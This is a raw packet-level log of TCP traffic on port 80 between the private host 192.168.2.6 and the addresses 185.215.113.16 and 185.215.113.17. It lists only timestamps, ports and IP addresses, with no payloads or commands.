Dec 18, 2024 12:00:27.230938911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.231347084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.231467009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.231738091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.231769085 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.231894970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.231915951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.232009888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.232098103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.232213974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.232245922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.232335091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.232850075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.232917070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.232933044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.232944965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.232985020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.232985020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.233083010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.233181953 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.233645916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.233767033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.233794928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.233974934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.234025955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.234026909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.234071016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.234447002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.234477043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.234532118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.234560013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.234613895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.235184908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.235212088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.235227108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.235244036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.235296965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.235296965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.235306978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.235433102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.236156940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.236233950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.236248016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.236252069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.236274958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.236342907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.236385107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.236462116 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.236635923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.236721992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.236768007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.236963987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.237276077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.237334967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.237373114 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.237387896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.237428904 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.237476110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.238404036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.238468885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.238507032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.238859892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.239514112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.239567041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.239630938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.240063906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.240684986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.240803957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.240820885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.241033077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.241708040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.241807938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.241873980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.241873980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.242785931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.242862940 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.242872000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.242939949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.243961096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.244057894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.244066000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.244122028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.245130062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.245352983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.245383024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.245488882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.246036053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.246134043 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.246165991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.246723890 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.247144938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.247215986 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.247227907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.247273922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.248243093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.248334885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.248373985 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.248459101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.249313116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.249403954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.249568939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.250436068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.250515938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.250519991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.250641108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.251518011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.251703024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.251709938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.251796961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.252645016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.252789974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.252819061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.253127098 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.253787994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.253844023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.253989935 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.254035950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.254910946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.255060911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.255089998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.255146980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.255850077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.255984068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.389188051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.389242887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.389309883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.389470100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.389529943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.389672041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.389864922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.389935017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.389935970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.389956951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.390239954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.390266895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.390351057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.390368938 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.390444994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.390444994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.390455008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.390851974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.390882015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.390954971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.391158104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.391328096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.391479969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.391506910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.391657114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.391715050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.391715050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.391771078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.392441988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.392497063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.392517090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.392524004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.392570972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.392692089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.392720938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.392802954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.393197060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.393435001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.393577099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.393714905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.393867016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.393893957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.394006968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.394066095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.394066095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.394113064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.394310951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.394746065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.394804001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.394820929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.394831896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.394869089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.394869089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.394876003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.395175934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.395365953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.395555973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.395641088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.395653009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.395668983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.395719051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.395719051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.395970106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.396095037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.396121979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.396162033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.396686077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.396805048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.396819115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.396843910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.396867990 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.396907091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.396934032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.397094965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.397507906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.397610903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.397645950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.397794962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.397823095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.397840977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.397897005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.398343086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.398452997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.398468018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.398782015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.398992062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.399091959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.399122000 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.399159908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.399177074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.399210930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.399210930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.399290085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.399832010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.399996996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.400101900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.400118113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.400157928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.400158882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.400501966 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.400875092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.400932074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.400969028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.401165962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.401269913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.401423931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.401453972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.401530027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.401546001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.401561975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.401587963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.401654959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.402304888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.402429104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.402446032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.402508974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.402508974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.402596951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.402681112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.403074026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.403177977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.403206110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.403477907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.403534889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.403534889 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.403614998 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.403770924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.403873920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.403933048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.403933048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.404367924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.404422045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.404438972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.404504061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.404504061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.404534101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.405086040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.405149937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.405149937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.405189037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.405298948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.405414104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.405468941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.405495882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.405638933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.405843973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.405977011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.406260014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.406503916 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.406606913 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.406622887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.406634092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.406673908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.406673908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.406749964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.407166004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.407344103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.407454967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.407576084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.407603979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.407681942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.407743931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.408058882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.408221006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.408231974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.408358097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.408715963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.408792973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.408816099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.408869028 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.408885002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.408896923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.408987999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.409636021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.409728050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.409738064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.409849882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.409872055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.409878016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.409950018 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.410482883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.410573006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.410959959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.411015034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.411062002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.411268950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.411294937 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.411390066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.411595106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.411995888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.412127018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.412146091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.412163019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.412189007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.412225962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.412252903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.412307978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.412662983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.412777901 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.412794113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.412892103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.413120031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.413203001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.413247108 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.413386106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.413387060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.413466930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.413469076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.413909912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.414150953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.414223909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.414239883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.414249897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.414283991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.414283991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.414352894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.414457083 CET	49950	80	192.168.2.6	185.215.113.16
